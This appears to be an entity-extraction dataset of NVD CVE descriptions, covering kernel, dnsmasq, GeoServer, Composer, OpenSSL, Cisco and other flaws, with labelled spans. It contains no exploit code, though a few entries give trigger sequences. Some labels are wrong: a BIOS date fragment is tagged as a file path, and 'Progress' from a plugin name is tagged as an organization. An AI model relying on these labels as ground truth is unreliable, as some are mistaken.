{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: reject unhashed sockets in bpf_sk_assign\n\nThe semantics for bpf_sk_assign are as follows:\n\n    sk = some_lookup_func()\n    bpf_sk_assign(skb, sk)\n    bpf_sk_release(sk)\n\nThat is, the sk is not consumed by bpf_sk_assign. The function\ntherefore needs to make sure that sk lives long enough to be\nconsumed from __inet_lookup_skb. The path through the stack for a\nTCPv4 packet is roughly:\n\n  netif_receive_skb_core: takes RCU read lock\n    __netif_receive_skb_core:\n      sch_handle_ingress:\n        tcf_classify:\n          bpf_sk_assign()\n      deliver_ptype_list_skb:\n        deliver_skb:\n          ip_packet_type->func == ip_rcv:\n            ip_rcv_core:\n            ip_rcv_finish_core:\n              dst_input:\n                ip_local_deliver:\n                  ip_local_deliver_finish:\n                    ip_protocol_deliver_rcu:\n                      tcp_v4_rcv:\n                        __inet_lookup_skb:\n                          skb_steal_sock\n\nThe existing helper takes advantage of the fact that everything\nhappens in the same RCU critical section: for sockets with\nSOCK_RCU_FREE set bpf_sk_assign never takes a reference.\nskb_steal_sock then checks SOCK_RCU_FREE again and does sock_put\nif necessary.\n\nThis approach assumes that SOCK_RCU_FREE is never set on a sk\nbetween bpf_sk_assign and skb_steal_sock, but this invariant is\nviolated by unhashed UDP sockets. A new UDP socket is created\nin TCP_CLOSE state but without SOCK_RCU_FREE set. That flag is only\nadded in udp_lib_get_port() which happens when a socket is bound.\n\nWhen bpf_sk_assign was added it wasn't possible to access unhashed\nUDP sockets from BPF, so this wasn't a problem. This changed\nin commit 0c48eefae712 (\"sock_map: Lift socket state restriction\nfor datagram sockets\"), but the helper wasn't adjusted accordingly.\nThe following sequence of events will therefore lead to a refcount\nleak:\n\n1. Add socket(AF_INET, SOCK_DGRAM) to a sockmap.\n2. Pull socket out of sockmap and bpf_sk_assign it. Since\n   SOCK_RCU_FREE is not set we increment the refcount.\n3. bind() or connect() the socket, setting SOCK_RCU_FREE.\n4. skb_steal_sock will now set refcounted = false due to\n   SOCK_RCU_FREE.\n5. tcp_v4_rcv() skips sock_put().\n\nFix the problem by rejecting unhashed sockets in bpf_sk_assign().\nThis matches the behaviour of __inet_lookup_skb which is ultimately\nthe goal of bpf_sk_assign().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53585"}}
{"text": "A flaw was found in dnsmasq before version 2.83. A heap-based buffer overflow was discovered in dnsmasq when DNSSEC is enabled and before it validates the received DNS entries. A remote attacker, who can create valid DNS replies, could use this flaw to cause an overflow in a heap-allocated memory. This flaw is caused by the lack of length checks in rfc1035.c:extract_name(), which could be abused to make the code execute memcpy() with a negative size in get_rdata() and cause a crash in dnsmasq, resulting in a denial of service. The highest threat from this vulnerability is to system availability.", "spans": {"FILEPATH: rfc1035.c": [[351, 360]], "VULNERABILITY: heap-based buffer overflow": [[51, 77]], "VULNERABILITY: denial of service": [[514, 531]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25683"}}
{"text": "GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.23.5 and 2.24.3, if GeoServer is deployed in the Windows operating system using an Apache Tomcat web application server, it is possible to bypass existing input validation in the GeoWebCache ByteStreamController class and read arbitrary classpath resources with specific file name extensions. If GeoServer is also deployed as a web archive using the data directory embedded in the `geoserver.war` file (rather than an external data directory), it will likely be possible to read specific resources to gain administrator privileges. However, it is very unlikely that production environments will be using the embedded data directory since, depending on how GeoServer is deployed, it will be erased and re-installed (which would also reset to the default password) either every time the server restarts or every time a new GeoServer WAR is installed and is therefore difficult to maintain. An external data directory will always be used if GeoServer is running in standalone mode (via an installer or a binary). Versions 2.23.5 and 2.24.3 contain a patch for the issue. Some workarounds are available. One may change from a Windows environment to a Linux environment; or change from Apache Tomcat to Jetty application server. One may also disable anonymous access to the embeded GeoWebCache administration and status pages.", "spans": {"SYSTEM: Apache Tomcat": [[191, 204], [1289, 1302]], "SYSTEM: Windows": [[157, 164], [1230, 1237]], "SYSTEM: Linux": [[1255, 1260]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-24749"}}
{"text": "Composer is a dependency manager for PHP. URLs for Mercurial repositories in the root composer.json and package source download URLs are not sanitized correctly. Specifically crafted URL values allow code to be executed in the HgDriver if hg/Mercurial is installed on the system. The impact to Composer users directly is limited as the composer.json file is typically under their own control and source download URLs can only be supplied by third party Composer repositories they explicitly trust to download and execute source code from, e.g. Composer plugins. The main impact is to services passing user input to Composer, including Packagist.org and Private Packagist. This allowed users to trigger remote code execution. The vulnerability has been patched on Packagist.org and Private Packagist within 12h of receiving the initial vulnerability report and based on a review of logs, to the best of our knowledge, was not abused by anyone. Other services/tools using VcsRepository/VcsDriver or derivatives may also be vulnerable and should upgrade their composer/composer dependency immediately. Versions 1.10.22 and 2.0.13 include patches for this issue.", "spans": {"DOMAIN: Packagist.org": [[635, 648], [763, 776]], "FILEPATH: composer.json": [[86, 99], [336, 349]], "SYSTEM: PHP": [[37, 40]], "VULNERABILITY: remote code execution": [[702, 723]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29472"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nigb: revert rtnl_lock() that causes deadlock\n\nThe commit 6faee3d4ee8b (\"igb: Add lock to avoid data race\") adds\nrtnl_lock to eliminate a false data race shown below\n\n (FREE from device detaching)      |   (USE from netdev core)\nigb_remove                         |  igb_ndo_get_vf_config\n igb_disable_sriov                 |  vf >= adapter->vfs_allocated_count?\n  kfree(adapter->vf_data)          |\n  adapter->vfs_allocated_count = 0 |\n                                   |    memcpy(... adapter->vf_data[vf]\n\nThe above race will never happen and the extra rtnl_lock causes deadlock\nbelow\n\n[  141.420169]  <TASK>\n[  141.420672]  __schedule+0x2dd/0x840\n[  141.421427]  schedule+0x50/0xc0\n[  141.422041]  schedule_preempt_disabled+0x11/0x20\n[  141.422678]  __mutex_lock.isra.13+0x431/0x6b0\n[  141.423324]  unregister_netdev+0xe/0x20\n[  141.423578]  igbvf_remove+0x45/0xe0 [igbvf]\n[  141.423791]  pci_device_remove+0x36/0xb0\n[  141.423990]  device_release_driver_internal+0xc1/0x160\n[  141.424270]  pci_stop_bus_device+0x6d/0x90\n[  141.424507]  pci_stop_and_remove_bus_device+0xe/0x20\n[  141.424789]  pci_iov_remove_virtfn+0xba/0x120\n[  141.425452]  sriov_disable+0x2f/0xf0\n[  141.425679]  igb_disable_sriov+0x4e/0x100 [igb]\n[  141.426353]  igb_remove+0xa0/0x130 [igb]\n[  141.426599]  pci_device_remove+0x36/0xb0\n[  141.426796]  device_release_driver_internal+0xc1/0x160\n[  141.427060]  driver_detach+0x44/0x90\n[  141.427253]  bus_remove_driver+0x55/0xe0\n[  141.427477]  pci_unregister_driver+0x2a/0xa0\n[  141.428296]  __x64_sys_delete_module+0x141/0x2b0\n[  141.429126]  ? mntput_no_expire+0x4a/0x240\n[  141.429363]  ? syscall_trace_enter.isra.19+0x126/0x1a0\n[  141.429653]  do_syscall_64+0x5b/0x80\n[  141.429847]  ? exit_to_user_mode_prepare+0x14d/0x1c0\n[  141.430109]  ? syscall_exit_to_user_mode+0x12/0x30\n[  141.430849]  ? do_syscall_64+0x67/0x80\n[  141.431083]  ? syscall_exit_to_user_mode_prepare+0x183/0x1b0\n[  141.431770]  ? syscall_exit_to_user_mode+0x12/0x30\n[  141.432482]  ? do_syscall_64+0x67/0x80\n[  141.432714]  ? exc_page_fault+0x64/0x140\n[  141.432911]  entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nSince the igb_disable_sriov() will call pci_disable_sriov() before\nreleasing any resources, the netdev core will synchronize the cleanup to\navoid any races. This patch removes the useless rtnl_(un)lock to guarantee\ncorrectness.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53060"}}
{"text": "fish is a smart and user-friendly command line shell for macOS, Linux, and the rest of the family. fish shell uses certain Unicode non-characters internally for marking wildcards and expansions. It will incorrectly allow these markers to be read on command substitution output, rather than transforming them into a safe internal representation. While this may cause unexpected behavior with direct input (for example, echo \\UFDD2HOME has the same output as echo $HOME), this may become a minor security problem if the output is being fed from an external program into a command substitution where this output may not be expected. This design flaw was introduced in very early versions of fish, predating the version control system, and is thought to be present in every version of fish released in the last 15 years or more, although with different characters. Code execution does not appear to be possible, but denial of service (through large brace expansion) or information disclosure (such as variable expansion) is potentially possible under certain circumstances. fish shell 3.6.2 has been released to correct this issue. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: Linux": [[64, 69]], "SYSTEM: macOS": [[57, 62]], "VULNERABILITY: information disclosure": [[965, 987]], "VULNERABILITY: denial of service": [[912, 929]], "VULNERABILITY: Code execution": [[861, 875]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49284"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\num: vector: Do not use drvdata in release\n\nThe drvdata is not available in release. Let's just use container_of()\nto get the vector_device instance. Otherwise, removing a vector device\nwill result in a crash:\n\nRIP: 0033:vector_device_release+0xf/0x50\nRSP: 00000000e187bc40  EFLAGS: 00010202\nRAX: 0000000060028f61 RBX: 00000000600f1baf RCX: 00000000620074e0\nRDX: 000000006220b9c0 RSI: 0000000060551c80 RDI: 0000000000000000\nRBP: 00000000e187bc50 R08: 00000000603ad594 R09: 00000000e187bb70\nR10: 000000000000135a R11: 00000000603ad422 R12: 00000000623ae028\nR13: 000000006287a200 R14: 0000000062006d30 R15: 00000000623700b6\nKernel panic - not syncing: Segfault with no mm\nCPU: 0 UID: 0 PID: 16 Comm: kworker/0:1 Not tainted 6.12.0-rc6-g59b723cd2adb #1\nWorkqueue: events mc_work_proc\nStack:\n 60028f61 623ae028 e187bc80 60276fcd\n 6220b9c0 603f5820 623ae028 00000000\n e187bcb0 603a2bcd 623ae000 62370010\nCall Trace:\n [<60028f61>] ? vector_device_release+0x0/0x50\n [<60276fcd>] device_release+0x70/0xba\n [<603a2bcd>] kobject_put+0xba/0xe7\n [<60277265>] put_device+0x19/0x1c\n [<60281266>] platform_device_put+0x26/0x29\n [<60281e5f>] platform_device_unregister+0x2c/0x2e\n [<60029422>] vector_remove+0x52/0x58\n [<60031316>] ? mconsole_reply+0x0/0x50\n [<600310c8>] mconsole_remove+0x160/0x1cc\n [<603b19f4>] ? strlen+0x0/0x15\n [<60066611>] ? __dequeue_entity+0x1a9/0x206\n [<600666a7>] ? set_next_entity+0x39/0x63\n [<6006666e>] ? set_next_entity+0x0/0x63\n [<60038fa6>] ? um_set_signals+0x0/0x43\n [<6003070c>] mc_work_proc+0x77/0x91\n [<60057664>] process_scheduled_works+0x1b3/0x2dd\n [<60055f32>] ? assign_work+0x0/0x58\n [<60057f0a>] worker_thread+0x1e9/0x293\n [<6005406f>] ? set_pf_worker+0x0/0x64\n [<6005d65d>] ? arch_local_irq_save+0x0/0x2d\n [<6005d748>] ? kthread_exit+0x0/0x3a\n [<60057d21>] ? worker_thread+0x0/0x293\n [<6005dbf1>] kthread+0x126/0x12b\n [<600219c5>] new_thread_handler+0x85/0xb6", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53181"}}
{"text": "The OpenSSL 3.0 implementation of the RC4-MD5 ciphersuite incorrectly uses the AAD data as the MAC key. This makes the MAC key trivially predictable. An attacker could exploit this issue by performing a man-in-the-middle attack to modify data being sent from one endpoint to an OpenSSL 3.0 recipient such that the modified data would still pass the MAC integrity check. Note that data sent from an OpenSSL 3.0 endpoint to a non-OpenSSL 3.0 endpoint will always be rejected by the recipient and the connection will fail at that point. Many application protocols require data to be sent from the client to the server first. Therefore, in such a case, only an OpenSSL 3.0 server would be impacted when talking to a non-OpenSSL 3.0 client. If both endpoints are OpenSSL 3.0 then the attacker could modify data being sent in both directions. In this case both clients and servers could be affected, regardless of the application protocol. Note that in the absence of an attacker this bug means that an OpenSSL 3.0 endpoint communicating with a non-OpenSSL 3.0 endpoint will fail to complete the handshake when using this ciphersuite. The confidentiality of data is not impacted by this issue, i.e. an attacker cannot decrypt data that has been encrypted using this ciphersuite - they can only modify it. In order for this attack to work both endpoints must legitimately negotiate the RC4-MD5 ciphersuite. This ciphersuite is not compiled by default in OpenSSL 3.0, and is not available within the default provider or the default ciphersuite list. This ciphersuite will never be used if TLSv1.3 has been negotiated. In order for an OpenSSL 3.0 endpoint to use this ciphersuite the following must have occurred: 1) OpenSSL must have been compiled with the (non-default) compile time option enable-weak-ssl-ciphers 2) OpenSSL must have had the legacy provider explicitly loaded (either through application code or via configuration) 3) The ciphersuite must have been explicitly added to the ciphersuite list 4) The libssl security level must have been set to 0 (default is 1) 5) A version of SSL/TLS below TLSv1.3 must have been negotiated 6) Both endpoints must negotiate the RC4-MD5 ciphersuite in preference to any others that both endpoints have in common Fixed in OpenSSL 3.0.3 (Affected 3.0.0,3.0.1,3.0.2).", "spans": {"SYSTEM: OpenSSL": [[4, 11], [278, 285], [398, 405], [428, 435], [657, 664], [716, 723], [758, 765], [997, 1004], [1043, 1050], [1447, 1454], [1626, 1633], [1708, 1715], [1810, 1817], [2261, 2268]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-1434"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix panic during f2fs_resize_fs()\n\nf2fs_resize_fs() hangs in below callstack with testcase:\n- mkfs 16GB image & mount image\n- dd 8GB fileA\n- dd 8GB fileB\n- sync\n- rm fileA\n- sync\n- resize filesystem to 8GB\n\nkernel BUG at segment.c:2484!\nCall Trace:\n allocate_segment_by_default+0x92/0xf0 [f2fs]\n f2fs_allocate_data_block+0x44b/0x7e0 [f2fs]\n do_write_page+0x5a/0x110 [f2fs]\n f2fs_outplace_write_data+0x55/0x100 [f2fs]\n f2fs_do_write_data_page+0x392/0x850 [f2fs]\n move_data_page+0x233/0x320 [f2fs]\n do_garbage_collect+0x14d9/0x1660 [f2fs]\n free_segment_range+0x1f7/0x310 [f2fs]\n f2fs_resize_fs+0x118/0x330 [f2fs]\n __f2fs_ioctl+0x487/0x3680 [f2fs]\n __x64_sys_ioctl+0x8e/0xd0\n do_syscall_64+0x33/0x80\n entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\nThe root cause is we forgot to check that whether we have enough space\nin resized filesystem to store all valid blocks in before-resizing\nfilesystem, then allocator will run out-of-space during block migration\nin free_segment_range().", "spans": {"FILEPATH: segment.c": [[296, 305]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47007"}}
{"text": "Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions envoy’s procedure for resetting a HTTP/2 stream has O(N^2) complexity, leading to high CPU utilization when a large number of streams are reset. Deployments are susceptible to Denial of Service when Envoy is configured with high limit on H/2 concurrent streams. An attacker wishing to exploit this vulnerability would require a client opening and closing a large number of H/2 streams. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes to reduce time complexity of resetting HTTP/2 streams. As a workaround users may limit the number of simultaneous HTTP/2 dreams for upstream and downstream peers to a low number, i.e. 100.", "spans": {"VULNERABILITY: Denial of Service": [[310, 327]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32778"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to truncate first page in error path of f2fs_truncate()\n\nsyzbot reports a bug as below:\n\nloop0: detected capacity change from 0 to 40427\nF2FS-fs (loop0): Wrong SSA boundary, start(3584) end(4096) blocks(3072)\nF2FS-fs (loop0): Can't find valid F2FS filesystem in 1th superblock\nF2FS-fs (loop0): invalid crc value\nF2FS-fs (loop0): f2fs_convert_inline_folio: corrupted inline inode ino=3, i_addr[0]:0x1601, run fsck to fix.\n------------[ cut here ]------------\nkernel BUG at fs/inode.c:753!\nRIP: 0010:clear_inode+0x169/0x190 fs/inode.c:753\nCall Trace:\n <TASK>\n evict+0x504/0x9c0 fs/inode.c:810\n f2fs_fill_super+0x5612/0x6fa0 fs/f2fs/super.c:5047\n get_tree_bdev_flags+0x40e/0x4d0 fs/super.c:1692\n vfs_get_tree+0x8f/0x2b0 fs/super.c:1815\n do_new_mount+0x2a2/0x9e0 fs/namespace.c:3808\n do_mount fs/namespace.c:4136 [inline]\n __do_sys_mount fs/namespace.c:4347 [inline]\n __se_sys_mount+0x317/0x410 fs/namespace.c:4324\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nDuring f2fs_evict_inode(), clear_inode() detects that we missed to truncate\nall page cache before destorying inode, that is because in below path, we\nwill create page #0 in cache, but missed to drop it in error path, let's fix\nit.\n\n- evict\n - f2fs_evict_inode\n  - f2fs_truncate\n   - f2fs_convert_inline_inode\n    - f2fs_grab_cache_folio\n    : create page #0 in cache\n    - f2fs_convert_inline_folio\n    : sanity check failed, return -EFSCORRUPTED\n  - clear_inode detects that inode->i_data.nrpages is not zero", "spans": {"FILEPATH: /f2fs/super.c": [[703, 716]], "FILEPATH: /x86/entry/syscall_64.c": [[1010, 1033], [1076, 1099]], "FILEPATH: inode.c": [[554, 561], [604, 611], [658, 665]], "FILEPATH: super.c": [[758, 765], [799, 806]], "FILEPATH: namespace.c": [[841, 852], [871, 882], [916, 927], [973, 984]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40137"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nzram: fix NULL pointer in comp_algorithm_show()\n\nLTP reported a NULL pointer dereference as followed:\n\n CPU: 7 UID: 0 PID: 5995 Comm: cat Kdump: loaded Not tainted 6.12.0-rc6+ #3\n Hardware name: QEMU KVM Virtual Machine, BIOS 0.0.0 02/06/2015\n pstate: 40400005 (nZcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __pi_strcmp+0x24/0x140\n lr : zcomp_available_show+0x60/0x100 [zram]\n sp : ffff800088b93b90\n x29: ffff800088b93b90 x28: 0000000000000001 x27: 0000000000400cc0\n x26: 0000000000000ffe x25: ffff80007b3e2388 x24: 0000000000000000\n x23: ffff80007b3e2390 x22: ffff0004041a9000 x21: ffff80007b3e2900\n x20: 0000000000000000 x19: 0000000000000000 x18: 0000000000000000\n x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n x11: 0000000000000000 x10: ffff80007b3e2900 x9 : ffff80007b3cb280\n x8 : 0101010101010101 x7 : 0000000000000000 x6 : 0000000000000000\n x5 : 0000000000000040 x4 : 0000000000000000 x3 : 00656c722d6f7a6c\n x2 : 0000000000000000 x1 : ffff80007b3e2900 x0 : 0000000000000000\n Call trace:\n  __pi_strcmp+0x24/0x140\n  comp_algorithm_show+0x40/0x70 [zram]\n  dev_attr_show+0x28/0x80\n  sysfs_kf_seq_show+0x90/0x140\n  kernfs_seq_show+0x34/0x48\n  seq_read_iter+0x1d4/0x4e8\n  kernfs_fop_read_iter+0x40/0x58\n  new_sync_read+0x9c/0x168\n  vfs_read+0x1a8/0x1f8\n  ksys_read+0x74/0x108\n  __arm64_sys_read+0x24/0x38\n  invoke_syscall+0x50/0x120\n  el0_svc_common.constprop.0+0xc8/0xf0\n  do_el0_svc+0x24/0x38\n  el0_svc+0x38/0x138\n  el0t_64_sync_handler+0xc0/0xc8\n  el0t_64_sync+0x188/0x190\n\nThe zram->comp_algs[ZRAM_PRIMARY_COMP] can be NULL in zram_add() if\ncomp_algorithm_set() has not been called.  User can access the zram device\nby sysfs after device_add_disk(), so there is a time window to trigger the\nNULL pointer dereference.  Move it ahead device_add_disk() to make sure\nwhen user can access the zram device, it is ready.  comp_algorithm_set()\nis protected by zram->init_lock in other places and no such problem.", "spans": {"FILEPATH: /06/2015": [[303, 311]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[264, 268]], "SYSTEM: KVM": [[269, 272]], "VULNERABILITY: NULL pointer dereference": [[133, 157], [1859, 1883]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53222"}}
{"text": "Multiple Plugins from the CatchThemes vendor do not perform capability and CSRF checks in the ctp_switch AJAX action, which could allow any authenticated users, such as Subscriber to change the Essential Widgets WordPress plugin before 1.9, To Top WordPress plugin before 2.3, Header Enhancement WordPress plugin before 1.5, Generate Child Theme WordPress plugin before 1.6, Essential Content Types WordPress plugin before 1.9, Catch Web Tools WordPress plugin before 2.7, Catch Under Construction WordPress plugin before 1.4, Catch Themes Demo Import WordPress plugin before 1.6, Catch Sticky Menu WordPress plugin before 1.7, Catch Scroll Progress Bar WordPress plugin before 1.6, Social Gallery and Widget WordPress plugin before 2.3, Catch Infinite Scroll WordPress plugin before 1.9, Catch Import Export WordPress plugin before 1.9, Catch Gallery WordPress plugin before 1.7, Catch Duplicate Switcher WordPress plugin before 1.6, Catch Breadcrumb WordPress plugin before 1.7, Catch IDs WordPress plugin before 2.4's configurations.", "spans": {"SYSTEM: WordPress": [[212, 221], [248, 257], [296, 305], [346, 355], [399, 408], [444, 453], [498, 507], [552, 561], [599, 608], [654, 663], [709, 718], [760, 769], [809, 818], [852, 861], [906, 915], [952, 961], [991, 1000]], "ORGANIZATION: Progress": [[641, 649]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24752"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: fix kernel crash when 1588 is sent on HIP08 devices\n\nCurrently, HIP08 devices does not register the ptp devices, so the\nhdev->ptp is NULL. But the tx process would still try to set hardware time\nstamp info with SKBTX_HW_TSTAMP flag and cause a kernel crash.\n\n[  128.087798] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000018\n...\n[  128.280251] pc : hclge_ptp_set_tx_info+0x2c/0x140 [hclge]\n[  128.286600] lr : hclge_ptp_set_tx_info+0x20/0x140 [hclge]\n[  128.292938] sp : ffff800059b93140\n[  128.297200] x29: ffff800059b93140 x28: 0000000000003280\n[  128.303455] x27: ffff800020d48280 x26: ffff0cb9dc814080\n[  128.309715] x25: ffff0cb9cde93fa0 x24: 0000000000000001\n[  128.315969] x23: 0000000000000000 x22: 0000000000000194\n[  128.322219] x21: ffff0cd94f986000 x20: 0000000000000000\n[  128.328462] x19: ffff0cb9d2a166c0 x18: 0000000000000000\n[  128.334698] x17: 0000000000000000 x16: ffffcf1fc523ed24\n[  128.340934] x15: 0000ffffd530a518 x14: 0000000000000000\n[  128.347162] x13: ffff0cd6bdb31310 x12: 0000000000000368\n[  128.353388] x11: ffff0cb9cfbc7070 x10: ffff2cf55dd11e02\n[  128.359606] x9 : ffffcf1f85a212b4 x8 : ffff0cd7cf27dab0\n[  128.365831] x7 : 0000000000000a20 x6 : ffff0cd7cf27d000\n[  128.372040] x5 : 0000000000000000 x4 : 000000000000ffff\n[  128.378243] x3 : 0000000000000400 x2 : ffffcf1f85a21294\n[  128.384437] x1 : ffff0cb9db520080 x0 : ffff0cb9db500080\n[  128.390626] Call trace:\n[  128.393964]  hclge_ptp_set_tx_info+0x2c/0x140 [hclge]\n[  128.399893]  hns3_nic_net_xmit+0x39c/0x4c4 [hns3]\n[  128.405468]  xmit_one.constprop.0+0xc4/0x200\n[  128.410600]  dev_hard_start_xmit+0x54/0xf0\n[  128.415556]  sch_direct_xmit+0xe8/0x634\n[  128.420246]  __dev_queue_xmit+0x224/0xc70\n[  128.425101]  dev_queue_xmit+0x1c/0x40\n[  128.429608]  ovs_vport_send+0xac/0x1a0 [openvswitch]\n[  128.435409]  do_output+0x60/0x17c [openvswitch]\n[  128.440770]  do_execute_actions+0x898/0x8c4 [openvswitch]\n[  128.446993]  ovs_execute_actions+0x64/0xf0 [openvswitch]\n[  128.453129]  ovs_dp_process_packet+0xa0/0x224 [openvswitch]\n[  128.459530]  ovs_vport_receive+0x7c/0xfc [openvswitch]\n[  128.465497]  internal_dev_xmit+0x34/0xb0 [openvswitch]\n[  128.471460]  xmit_one.constprop.0+0xc4/0x200\n[  128.476561]  dev_hard_start_xmit+0x54/0xf0\n[  128.481489]  __dev_queue_xmit+0x968/0xc70\n[  128.486330]  dev_queue_xmit+0x1c/0x40\n[  128.490856]  ip_finish_output2+0x250/0x570\n[  128.495810]  __ip_finish_output+0x170/0x1e0\n[  128.500832]  ip_finish_output+0x3c/0xf0\n[  128.505504]  ip_output+0xbc/0x160\n[  128.509654]  ip_send_skb+0x58/0xd4\n[  128.513892]  udp_send_skb+0x12c/0x354\n[  128.518387]  udp_sendmsg+0x7a8/0x9c0\n[  128.522793]  inet_sendmsg+0x4c/0x8c\n[  128.527116]  __sock_sendmsg+0x48/0x80\n[  128.531609]  __sys_sendto+0x124/0x164\n[  128.536099]  __arm64_sys_sendto+0x30/0x5c\n[  128.540935]  invoke_syscall+0x50/0x130\n[  128.545508]  el0_svc_common.constprop.0+0x10c/0x124\n[  128.551205]  do_el0_svc+0x34/0xdc\n[  128.555347]  el0_svc+0x20/0x30\n[  128.559227]  el0_sync_handler+0xb8/0xc0\n[  128.563883]  el0_sync+0x160/0x180", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[378, 402]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21649"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: qcom: pmic_glink_altmode: fix drm bridge use-after-free\n\nA recent DRM series purporting to simplify support for \"transparent\nbridges\" and handling of probe deferrals ironically exposed a\nuse-after-free issue on pmic_glink_altmode probe deferral.\n\nThis has manifested itself as the display subsystem occasionally failing\nto initialise and NULL-pointer dereferences during boot of machines like\nthe Lenovo ThinkPad X13s.\n\nSpecifically, the dp-hpd bridge is currently registered before all\nresources have been acquired which means that it can also be\nderegistered on probe deferrals.\n\nIn the meantime there is a race window where the new aux bridge driver\n(or PHY driver previously) may have looked up the dp-hpd bridge and\nstored a (non-reference-counted) pointer to the bridge which is about to\nbe deallocated.\n\nWhen the display controller is later initialised, this triggers a\nuse-after-free when attaching the bridges:\n\n\tdp -> aux -> dp-hpd (freed)\n\nwhich may, for example, result in the freed bridge failing to attach:\n\n\t[drm:drm_bridge_attach [drm]] *ERROR* failed to attach bridge /soc@0/phy@88eb000 to encoder TMDS-31: -16\n\nor a NULL-pointer dereference:\n\n\tUnable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n\t...\n\tCall trace:\n\t  drm_bridge_attach+0x70/0x1a8 [drm]\n\t  drm_aux_bridge_attach+0x24/0x38 [aux_bridge]\n\t  drm_bridge_attach+0x80/0x1a8 [drm]\n\t  dp_bridge_init+0xa8/0x15c [msm]\n\t  msm_dp_modeset_init+0x28/0xc4 [msm]\n\nThe DRM bridge implementation is clearly fragile and implicitly built on\nthe assumption that bridges may never go away. In this case, the fix is\nto move the bridge registration in the pmic_glink_altmode driver to\nafter all resources have been looked up.\n\nIncidentally, with the new dp-hpd bridge implementation, which registers\nchild devices, this is also a requirement due to a long-standing issue\nin driver core that can otherwise lead to a probe deferral loop (see\ncommit fbc35b45f9f6 (\"Add documentation on meaning of -EPROBE_DEFER\")).\n\n[DB: slightly fixed commit message by adding the word 'commit']", "spans": {"FILEPATH: /soc@0/phy@88eb000": [[1159, 1177]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Lenovo": [[471, 477]], "VULNERABILITY: NULL pointer dereference": [[1260, 1284]], "VULNERABILITY: use-after-free": [[115, 129], [261, 275], [951, 965]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26909"}}
{"text": "Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.", "spans": {"FILEPATH: login.php": [[182, 191]], "VULNERABILITY: SQL injection": [[138, 151]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17506"}}
{"text": "A vulnerability in the implementation of Border Gateway Protocol (BGP) Message Digest 5 (MD5) authentication in Cisco NX-OS Software could allow an unauthenticated, remote attacker to bypass MD5 authentication and establish a BGP connection with the device. The vulnerability occurs because the BGP MD5 authentication is bypassed if the peer does not have MD5 authentication configured, the NX-OS device does have BGP MD5 authentication configured, and the NX-OS BGP virtual routing and forwarding (VRF) name is configured to be greater than 19 characters. An attacker could exploit this vulnerability by attempting to establish a BGP session with the NX-OS peer. A successful exploit could allow the attacker to establish a BGP session with the NX-OS device without MD5 authentication. The Cisco implementation of the BGP protocol accepts incoming BGP traffic only from explicitly configured peers. To exploit this vulnerability, an attacker must send the malicious packets over a TCP connection that appears to come from a trusted BGP peer. To do so, the attacker must obtain information about the BGP peers in the affected system&rsquo;s trusted network.", "spans": {"SYSTEM: Cisco NX-OS": [[112, 123]], "ORGANIZATION: Cisco": [[791, 796]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3165"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS score depend on the software that uses the Outside In Technology code. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology code, but if data is not received over a network the CVSS score may be lower. CVSS 3.0 Base Score 7.3 (Confidentiality, Integrity and Availability 